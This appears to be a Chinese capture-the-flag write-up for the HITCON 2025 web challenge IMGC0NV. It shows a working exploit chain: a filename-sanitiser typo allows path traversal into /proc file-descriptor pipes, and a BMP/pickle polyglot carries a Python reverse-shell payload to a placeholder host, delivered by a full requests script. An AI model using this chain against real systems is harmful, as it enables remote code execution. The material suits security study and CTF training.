hintcon2025 IMGC0NV
#web
参考: using bmp polyglots to get rce
from flask import Flask, request, send_file, g
import os
import io
import zipfile
import tempfile
from multiprocessing import Pool
from PIL import Image# 图片转换函数
def convert_image(args):file_data, filename, output_format, temp_dir = argstry:# 读取图片数据with Image.open(io.BytesIO(file_data)) as img:# 如果不是RGB模式则转换为RGBif img.mode != "RGB":img = img.convert('RGB')filename = safe_filename(filename) # 处理文件名orig_ext = filename.rsplit('.', 1)[1] if '.' in filename else None # 获取原始扩展名ext = output_format.lower() # 输出格式小写if orig_ext:out_name = filename.replace(orig_ext, ext, 1) # 替换扩展名else:out_name = f"{filename}.{ext}" # 没有扩展名则直接加output_path = os.path.join(temp_dir, out_name) # 输出路径# 保存图片到临时目录with open(output_path, 'wb') as f:img.save(f, format=output_format)return output_path, out_name, None # 返回路径、文件名、无错误except Exception as e:return None, filename, str(e) # 出错时返回错误信息# 文件名安全处理函数
def safe_filename(filename):filneame = filename.replace("/", "_").replace("..", "_") # 替换斜杠和..为下划线return filename # 返回处理后的文件名app = Flask(__name__)app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # 设置最大上传文件大小为5MB# 每次请求前初始化进程池
@app.before_request
def before_request():g.pool = Pool(processes=8)# 首页路由,返回index.html
@app.route('/')
def index():return send_file('index.html')# 图片转换接口
@app.route('/convert', methods=['POST'])
def convert_images():if 'files' not in request.files:return 'No files', 400 # 没有文件时返回400files = request.files.getlist('files')output_format = request.form.get('format', '').upper() # 获取目标格式if not files or not output_format:return 'Invalid input', 400 # 输入无效时返回400with tempfile.TemporaryDirectory() as temp_dir: # 创建临时目录file_data = []for file in files:if file.filename:file_data.append((file.read(), file.filename, output_format, temp_dir))if not file_data:return 'No valid images', 400 # 没有有效图片时返回400results = list(g.pool.map(convert_image, file_data)) # 多进程转换图片successful = [] # 成功列表failed = [] # 失败列表for path, name, error in results:if not error:successful.append((path, name)) # 成功则加入成功列表else:failed.append((name or 'unknown', error)) # 失败则加入失败列表if not successful:error_msg = "All conversions failed. " + \"; ".join([f"{f}: {e}" for f, e in failed])return error_msg, 500 # 全部失败时返回500zip_buffer = io.BytesIO() # 创建内存zip文件with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:for path, name in successful:zf.write(path, name) # 将成功的图片写入zipif failed:# 写入失败信息summary = f"Conversion Summary:\nSuccessful: {len(successful)}\nFailed: {len(failed)}\n\nFailures:\n"summary += "\n".join([f"- {f}: {e}" for f, e in failed])zf.writestr("errors.txt", summary)zip_buffer.seek(0) # 指针回到开头# 返回zip文件return send_file(zip_buffer,mimetype='application/zip',as_attachment=True,download_name=f'converted_{output_format.lower()}.zip')# 主程序入口
if __name__ == '__main__':app.run(debug=True, host='0.0.0.0', port=5001)
step 1
#拼写错误 #waf逻辑漏洞
filename = safe_filename(filename) # 处理文件名orig_ext = filename.rsplit('.', 1)[1] if '.' in filename else None # 获取原始扩展名ext = output_format.lower() # 输出格式小写if orig_ext:out_name = filename.replace(orig_ext, ext, 1) # 替换扩展名else:out_name = f"{filename}.{ext}" # 没有扩展名则直接加output_path = os.path.join(temp_dir, out_name) # 输出路径
此处的waf存在拼写错误
filneame
,文件名实际上原样返回
# 文件名安全处理函数
def safe_filename(filename):filneame = filename.replace("/", "_").replace("..", "_") # 替换斜杠和..为下划线return filename # 返回处理后的文件名
step 2
# 保存图片到临时目录with open(output_path, 'wb') as f:img.save(f, format=output_format)
output_format
需要是以下选项之一,PIL 才能输出某些内容
bmp dib gif jpeg ppm png avif blp bufr pcx dds eps grib hdf5 jpeg2000 icns ico im tiff mpo msp pa
orig_ext = filename.rsplit('.', 1)[1] if '.' in filename else None
ext = output_format.lower()
if orig_ext:out_name = filename.replace(orig_ext, ext, 1) # 只替换“最后一个点之后的那段字符串”的第一次出现
else:out_name = f"{filename}.{ext}"
output_path = os.path.join(temp_dir, out_name)
orig_ext
是“整个文件名里最后一个.
之后的子串。- 然后把
filename
里“第一次出现的orig_ext
”替换为ext
(目标格式的小写,比如png
/bmp
)。 - 最终用
os.path.join(temp_dir, out_name)
作为实际写入路径。
../../aaa//meowmeow/../../meowmeow
解释:
- 这个字符串里“最后一个点”在倒数的
..
里,所以orig_ext = '/meowmeow'
(最后一个点后就是这个子串,注意包含斜杠)
- 现在做替换:
filename.replace('/meowmeow', 'png', 1)
只替换第一次出现的'/meowmeow'
:- 变成
../../aaa/png/../../meowmeow
- 变成
- 再拼接临时目录:
/tmp/tmpxxxx/../../aaa/png/../../meowmeow
- OS 在打开文件时会按路径语义折叠
..
,归一化后就是你要的绝对路径/meowmeow
,从而把输出写到该处。
step 3
什么是管道?
管道(Pipe),在 Linux 和类 Unix 系统中,是一种非常强大的**进程间通信(IPC)**机制。它的核心思想非常简单:
将一个命令(进程)的标准输出(stdout)直接连接到另一个命令(进程)的标准输入(stdin)。
它使用竖线符号 |
来表示。管道是 Linux “一切皆文件” 和 “小工具,大协作” 哲学思想的完美体现。
一个简单的比喻
你可以把管道想象成一条流水线:
- 第一个命令 生产出原始产品(输出数据)。
- 管道
|
就是传送带,把产品运送给下一个环节。 - 第二个命令 接收传送带送来的产品,进行再加工(处理数据),然后输出最终结果。
整个过程是自动的、单向的,数据像水一样在管道中“流动”。
语法与工作原理
语法格式如下:
command_A [options] | command_B [options]
工作原理:
- 当你输入一个包含
|
的命令时,Shell 会同时启动command_A
和command_B
两个进程。 - 它会在内核中创建一个临时的、无名的管道缓冲区。
command_A
的标准输出(stdout) 被重定向到这个管道缓冲区。command_A
并不知道它的输出去了哪里,它只是像往常一样向屏幕发送数据,但数据被 Shell 导入了管道。command_B
的标准输入(stdin) 被重定向为从这个管道缓冲区读取数据。command_B
也并不知道它的输入来自键盘还是其他地方,它只是像从键盘读取一样,从管道中获取数据。- 数据从左到右流动:
command_A
生产一点,管道就传递一点,command_B
就消费一点。整个过程是同步的,无需等待command_A
完全执行完毕。 - 管道两端的命令是并行运行的。
关于 /proc
/proc/50/fd:
dr-x------ 2 nobody nogroup 0 Aug 26 04:35 .
dr-xr-xr-x 9 nobody nogroup 0 Aug 26 04:35 ..
lrwx------ 1 nobody nogroup 64 Aug 26 04:35 0 -> /dev/null
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 1 -> 'pipe:[13245208]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 10 -> 'pipe:[13248964]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 13 -> 'pipe:[13248965]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 14 -> 'pipe:[13248966]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 15 -> 'pipe:[13248966]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 16 -> 'pipe:[13248967]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 17 -> 'pipe:[13248969]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 18 -> 'pipe:[13248971]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 19 -> 'pipe:[13248968]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 2 -> 'pipe:[13245209]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 20 -> 'pipe:[13248973]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 21 -> 'pipe:[13248970]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 22 -> 'pipe:[13248975]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 23 -> 'pipe:[13248972]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 24 -> 'pipe:[13248977]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 25 -> 'pipe:[13248974]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 26 -> 'pipe:[13248979]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 27 -> 'pipe:[13248976]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 28 -> /dev/null
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 29 -> 'pipe:[13248978]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 3 -> 'pipe:[13245225]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 30 -> 'pipe:[13248981]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 31 -> 'pipe:[13248980]'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 32 -> 'pipe:[13248982]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 4 -> 'pipe:[13245225]'
lrwx------ 1 nobody nogroup 64 Aug 26 04:35 5 -> 'socket:[13245226]'
lrwx------ 1 nobody nogroup 64 Aug 26 04:35 6 -> '/tmp/wgunicorn-bsx0c9yz (deleted)'
lr-x------ 1 nobody nogroup 64 Aug 26 04:35 7 -> 'pipe:[13233966]'
l-wx------ 1 nobody nogroup 64 Aug 26 04:35 8 -> 'pipe:[13233966]'
lrwx------ 1 nobody nogroup 64 Aug 26 04:35 9 -> 'socket:[13248963]'
/proc
是一个虚拟文件系统(Virtual File System),通常被称为 进程信息伪文件系统(Process Information Pseudo-File System)。
它不代表硬盘上一个真实的存储区域,而是由 Linux 内核在内存中动态生成的。它提供了一个窗口,让你能够查看和(在某些情况下)与内核内部数据结构进行交互。
你可以把它想象成系统的实时诊断和控制面板。
主要特点和代表的意义
-
系统信息和进程信息的接口
/proc
目录中包含了一系列以数字命名的子目录(例如/proc/1234
),每个数字代表一个当前正在运行的进程的 PID(进程ID)。进入这个目录,你可以看到关于这个进程的详细信息,比如它正在使用的内存、环境变量、打开的文件等。- 同时,还有很多以其他名字命名的文件和目录(例如
/proc/cpuinfo
,/proc/meminfo
),它们提供了整个系统的硬件和内核状态信息。
-
虚拟的
- 这些文件不占用实际的磁盘空间。如果你用
ls -l
查看它们的大小,通常会显示为 0。当你读取它们时,内核会即时地从内存中获取最新的信息并返回给你。所以,你每次读取到的都是系统此时此刻的最新状态。
- 这些文件不占用实际的磁盘空间。如果你用
-
可读可写(部分文件)
- 虽然大部分文件是只读的,用于查看信息,但有一些文件是可写的。通过向这些文件写入特定的值,你可以动态地修改内核的运行参数,而无需重启系统。例如,
/proc/sys/
目录下的很多文件就用于此目的,这也是sysctl
命令的工作原理基础。
- 虽然大部分文件是只读的,用于查看信息,但有一些文件是可写的。通过向这些文件写入特定的值,你可以动态地修改内核的运行参数,而无需重启系统。例如,
/proc
目录下常见的重要文件和目录
文件或目录路径 | 作用描述 |
---|---|
/proc/cpuinfo | 查看关于 CPU 的详细信息,如型号、核心数、频率等。 |
/proc/meminfo | 查看详细的内存使用情况(物理内存、交换空间等)。free 命令的数据就来源于此。 |
/proc/loadavg | 显示系统的平均负载(1分钟、5分钟、15分钟)。 |
/proc/version | 显示当前正在运行的内核版本。 |
/proc/uptime | 显示系统已经运行了多长时间。 |
/proc/filesystems | 显示当前内核支持的文件系统类型。 |
/proc/net/ | 目录,包含大量网络栈和连接的状态信息(如 /proc/net/tcp )。 |
/proc/devices | 显示已加载的设备驱动列表。 |
/proc/mounts | 显示当前所有挂载的文件系统信息。等价于 /etc/mtab 。 |
/proc/PID/ | 特定进程的目录(PID 是实际的进程号)。 |
└── /proc/PID/cmdline | 启动该进程时使用的命令行。 |
└── /proc/PID/cwd | 一个符号链接,指向进程的当前工作目录。 |
└── /proc/PID/environ | 显示该进程的环境变量。 |
└── /proc/PID/exe | 一个符号链接,指向正在运行的程序的完整路径。 |
└── /proc/PID/fd/ | 一个目录,包含该进程打开的所有文件描述符的链接。 |
└── /proc/PID/status | 进程的状态信息,以更易读的方式呈现(如名称、状态、PID、内存使用等)。 |
/proc/sys/ | 这个目录最为特殊,它里面的文件可用于读取和修改内核参数。 |
└── /proc/sys/net/ipv4/ip_forward | 例如,写入 1 可以开启系统的 IP 转发功能。 |
关于 /proc/PID/fd
/proc/PID/fd/
是一个特殊目录,它提供了一个窗口,让你可以看到某个特定进程(由 PID 标识)当前打开的所有文件描述符(File Descriptors)。
/proc/
: 这是一个虚拟文件系统(procfs),它不存在于物理磁盘上,而是由内核在内存中动态生成的。它提供了访问内核内部数据结构的接口,是系统和进程信息的中心。PID
: 这是你感兴趣的进程的ID号。你需要将其替换为实际的数字,例如你想查看nginx
进程(PID 为 1234)的信息,那么目录就是/proc/1234/fd/
。fd/
: 这是该进程目录下的一个子目录,全称是 file descriptors(文件描述符)。
什么是文件描述符 (File Descriptor)?
在深入之前,必须理解文件描述符是什么。在 Linux/Unix 哲学中,“一切皆文件”。这包括:
- 真正的磁盘文件
- 目录
- 硬件设备(如键盘、鼠标、硬盘)
- 网络套接字
- 管道 (pipes)
当一个进程打开任何这些“资源”时,内核会返回一个文件描述符。它是一个小的、非负的整数(如 0
, 1
, 2
, 3
, …),作为该进程用于引用这个已打开资源的句柄。
- 0 是标准输入 (stdin)
- 1 是标准输出 (stdout)
- 2 是标准错误 (stderr)
之后打开的任何文件都会从 3 开始分配编号。
/proc/PID/fd/
目录里有什么?
在这个目录下,你会看到一系列以数字命名的符号链接。每个链接的名字对应一个文件描述符编号,而链接指向的内容是该文件描述符所引用的实际资源。
示例:
假设一个 vim
进程的 PID 是 8888
。
ls -l /proc/8888/fd/
你可能会看到类似这样的输出:
总用量 0
lrwx------. 1 user user 64 6月 5 10:30 0 -> /dev/pts/2
lrwx------. 1 user user 64 6月 5 10:30 1 -> /dev/pts/2
lrwx------. 1 user user 64 6月 5 10:30 2 -> /dev/pts/2
lr-x------. 1 user user 64 6月 5 10:30 3 -> /home/user/myfile.txt
l-wx------. 1 user user 64 6月 5 10:30 4 -> /home/user/myfile.txt.swp
解读:
0 -> /dev/pts/2
: 文件描述符0
(stdin) 指向伪终端2
,这意味着vim
从这个终端窗口接收输入。1 -> /dev/pts/2
: 文件描述符1
(stdout) 指向同一个伪终端,vim
将输出打印到这个终端。2 -> /dev/pts/2
: 文件描述符2
(stderr) 也指向同一个终端,错误信息也在这里显示。3 -> /home/user/myfile.txt
: 文件描述符3
以只读 (lr-x------
) 模式打开了正在编辑的文件myfile.txt
。4 -> /home/user/myfile.txt.swp
: 文件描述符4
以只写 (l-wx------
) 模式打开了vim
的交换文件。
同时管道也会显示在
/proc/PID/fd/
目录中
Linux 遵循“一切皆文件”的设计哲学,管道(Pipe)正是这一哲学的最佳体现。内核为管道提供了类似文件的接口,进程通过文件描述符来读写管道,因此它们自然会在 /proc/PID/fd/
中现身。
1. 匿名管道 (Anonymous Pipes)
匿名管道通常由 shell 的 |
操作符创建,或在程序中使用 pipe()
系统调用创建。它没有文件系统上的名字。
-
在
/proc/PID/fd/
中的样子:
它会显示为一个文件描述符,但其链接目标不是指向一个具体的文件名,而是一个特殊的pipe:
标识,后面跟着该管道的 inode 号。 -
示例:
假设有一个管道连接了两个命令:sleep 3600 | cat
。
我们可以找到sleep
进程和cat
进程的 PID,然后查看它们的 fd 目录。对于 写入端 的进程(例如
sleep
):$ ls -l /proc/1234/fd/ 总用量 0 lrwx------ 1 user user 64 Jun 6 10:00 0 -> /dev/pts/0 lrwx------ 1 user user 64 Jun 6 10:00 1 -> 'pipe:[31415926]' # 这是标准输出,指向一个管道 lrwx------ 1 user user 64 Jun 6 10:00 2 -> /dev/pts/0
对于 读取端 的进程(例如
cat
):$ ls -l /proc/5678/fd/ 总用量 0 lrwx------ 1 user user 64 Jun 6 10:00 0 -> 'pipe:[31415926]' # 这是标准输入,指向同一个管道! lrwx------ 1 user user 64 Jun 6 10:00 1 -> /dev/pts/0 lrwx------ 1 user user 64 Jun 6 10:00 2 -> /dev/pts/0
关键点:
- 两端的进程都拥有一个指向
pipe:[31415926]
的文件描述符。 31415926
是这个管道在内核中的唯一标识符(inode号)。这个数字在两个进程中是一致的,这证明了它们通过同一个管道相连。
- 两端的进程都拥有一个指向
2. 命名管道 (Named Pipes 或 FIFO)
命名管道使用 mkfifo
命令或 mkfifo()
系统调用创建,它在文件系统中有一个实实在在的名字(虽然它不存储数据)。
-
在
/proc/PID/fd/
中的样子:
它的行为更像一个普通文件。链接目标会直接指向文件系统中的管道文件名。 -
示例:
- 首先创建一个命名管道:
mkfifo /tmp/myfifo
- 在一个终端启动读取端:
cat /tmp/myfifo
- 在另一个终端,用
ls
查看这个cat
进程的 fd:$ ls -l /proc/9999/fd/ 总用量 0 lrwx------ 1 user user 64 Jun 6 10:05 0 -> /dev/pts/1 lrwx------ 1 user user 64 Jun 6 10:05 1 -> /dev/pts/1 lrwx------ 1 user user 64 Jun 6 10:05 2 -> /dev/pts/1 lr-x------ 1 user user 64 Jun 6 10:05 3 -> '/tmp/myfifo' # 指向命名管道文件
它会清楚地显示文件描述符
3
打开了一个名为/tmp/myfifo
的命名管道。 - 首先创建一个命名管道:
现在你应该能发现,任意文件写入不仅可以写入文件,还能向有权限写的管道写入
并发的进程
results = list(g.pool.map(convert_image, file_data)) # 多进程转换图片
-
g.pool.map
是multiprocessing.Pool
的map
方法,挂在 Flask 的请求上下文对象g
上(before_request
里创建了Pool(processes=8)
)。 -
它的作用类似内置
map
,但会把file_data
中的每个元素并行分发到进程池中的子进程,调用convert_image
执行,阻塞直到全部完成,返回结果列表。这里每个结果是convert_image
返回的三元组(output_path, out_name, error)
。 -
结果简述:
g
: Flask 请求上下文临时存储pool
: 8 进程的multiprocessing.Pool
map
: 并行版map
,对file_data
逐项调用convert_image
并返回列表
当你使用
multiprocessing.Process
或Pool
时,大致会发生以下事情:
- 主进程启动:你的 Python 程序作为主进程运行。
- 创建子进程:
- 根据设置的
start_method
(fork
,spawn
,forkserver
),主进程通过操作系统调用创建子进程。 - 子进程会获得主进程代码的副本(或重新导入)。
- 根据设置的
- 序列化与传输:
- 主进程需要将任务函数(
target
)及其参数(args
)序列化(通常使用pickle
模块)成字节数据。 - 通过 IPC 机制(如
fork
继承的内存、管道等)将这些字节数据传递给子进程。
- 主进程需要将任务函数(
- 子进程执行:
- 子进程
pickle
反序列化接收到的函数和参数。 - 在自己的 Python 解释器和内存空间中执行该函数。
- 子进程
- 结果返回:
- 子进程将函数执行的结果序列化。
- 通过 IPC 机制将结果返回给主进程。
- 主进程收集:主进程反序列化结果,进行后续处理。
反序列化利用
BM开头是合法的pickle
import pickle
from PIL import Imageclass Meow(object):def __reduce__(self):return (exec, ('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")',))W, H = 8771, 5903 tail = pickle.dumps(Meow(), protocol=pickle.HIGHEST_PROTOCOL)im = Image.new("RGB", (W, H), (0, 0, 0))row = []
pad_len = (-len(tail)) % 3
data = tail + b"\x00" * pad_len
for i in range(0, len(data), 3):B, G, R = data[i], data[i+1], data[i+2]row.append((R, G, B)) pixels = im.load()
for x, (r, g, b) in enumerate(row):pixels[x, H - 1] = (r, g, b)im.save("pickle.bmp")
im.save("pickle.png")
创建的 BMP 长 ~155MB,远远超过应用程序的 5MB 大小限制,但将其保存为 PNG 使其仅为 151KB,利用 PIL 转换会png即可。
但是
- 在 Python3 的
pickle
协议里,字节0x42
(字符B
)是 opcode:BINBYTES,其格式为:B
+ 4 字节小端长度L
+ 接下来L
个字节的数据。 - 字节
0x4D
(字符M
)本身也是一个合法 opcode:BININT2(2 字节小端无符号整数),但只有在它没有被前一个指令当作“数据”消耗时才会被当作指令解释。
结合 BMP 的“BM”开头
- BMP 以
B
M
开头。pickle
看到首字节B
时,会把后面“紧随其后”的 4 个字节当作 BINBYTES 的长度字段。 - 其中第一个字节正好就是
M
(0x4D),因此M
在这里不是指令,而是被当作“长度字段的最低字节”。再加上后面 3 个字节(来自 BMP 头里的文件大小字段的前 3 个字节),就形成了一个通常非常巨大的长度L
。 - 结果:
pickle
会“等待读取 L 个字节”的 BINBYTES 负载,导致需要先喂入超大体量的数据(常见可达 GB 级)才能继续向后解析,最终才有机会解析到你埋在文件尾部的真正pickle
负载并触发执行。
一句话概括:对 pickle
而言,BMP 的“BM”会把 B
解释为“我要读一个超长 bytes 对象”,把M
当作这个 bytes 的长度字段的一部分,从而让反序列化阻塞等待大量数据。
单个 BMP 约 155MB。如果应用在一次请求里并行启动 8 个任务,各自都会把自己的“完整 BMP 字节流”写入同一数据通道(例如某个流/管道);合计就能凑到 ~8 × 155MB ≈ 1.2GB,超过“Pickle 解释器等待的阈值”,从而让解释器最终读到末尾你埋的 Pickle payload 并执行。
# 导入必要的模块
from multiprocessing import Pipe, Pool # 用于进程间通信和进程池管理
import os # 提供操作系统相关功能
import time # 时间相关操作def child(args):"""子进程函数,每个子进程执行的任务Args:args: 包含进程ID和管道信息的元组 (id, pipes)Returns:id: 进程ID"""# 解包参数id, pipes = args# 获取当前进程对应的接收端管道,发送端不需要使用recv_end, _ = pipes[id]print("child started:", id)# 读取二进制文件内容作为要发送的数据payload = open("./pickle.bmp", "rb").read()# 进程0作为主进程,负责发送自己的PID给其他进程if id == 0:# 获取当前进程的PID(通过读取/proc/self符号链接)pid = int(os.readlink("/proc/self"))# 向所有其他进程发送PIDfor _, send_end in pipes[1:]:send_end.send(pid)else:# 其他进程从管道接收进程0的PIDpid = recv_end.recv()print(f"process {id} sending {len(payload)} bytes")# 要写入的文件描述符列表(这里硬编码为6)pipe_fds = [6]# 向指定进程的文件描述符写入数据for fd in pipe_fds:# 构建目标进程的文件描述符路径fd_path = f"/proc/{pid}/fd/{fd}"# 以二进制写入模式打开文件描述符并写入数据with open(fd_path, "wb") as f:f.write(payload)return id# 设置进程池中的进程数量
NUM_PROCS = 8
# 创建进程池
pool = Pool(processes=NUM_PROCS)# 创建管道列表,用于进程间通信
pipes = list()
for i in range(NUM_PROCS):# 创建单向管道(duplex=False表示单向)recv_end, send_end = Pipe(duplex=False)# 将管道的接收端和发送端存储为元组pipes.append((recv_end, send_end))# 准备任务列表
tasks = list()
for i in range(NUM_PROCS):# 每个任务包含进程ID和所有管道的引用tasks.append((i, pipes))# 使用进程池并行执行任务
# pool.map会将tasks列表中的每个元素作为参数传递给child函数
results = list(pool.map(child, tasks))# 注意:这里没有关闭进程池,实际使用时应该添加pool.close()和pool.join()
import requestsURL = "http://localhost:5000"
# URL = "http://imgc0nv.chal.hitconctf.com:30603"def bmp_payload(filename: str):return f"../../usr/share/doc/li{filename.rsplit('.', 1)[1] if '.' in filename else filename}fr6/../../../../../..{filename}"p = '/proc/self/fd/13'
r = requests.post(URL + "/convert", files=[("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),("files", (bmp_payload(p), open("./pickle.png", "rb"), "image/png")),
], data={
"format": "BMP"
})print(r.status_code)
print(r.content[:200])
QEF
#目录穿越 #python #脏文件写入 #任意文件写入 #进程间通信 #/proc利用 #pickle构造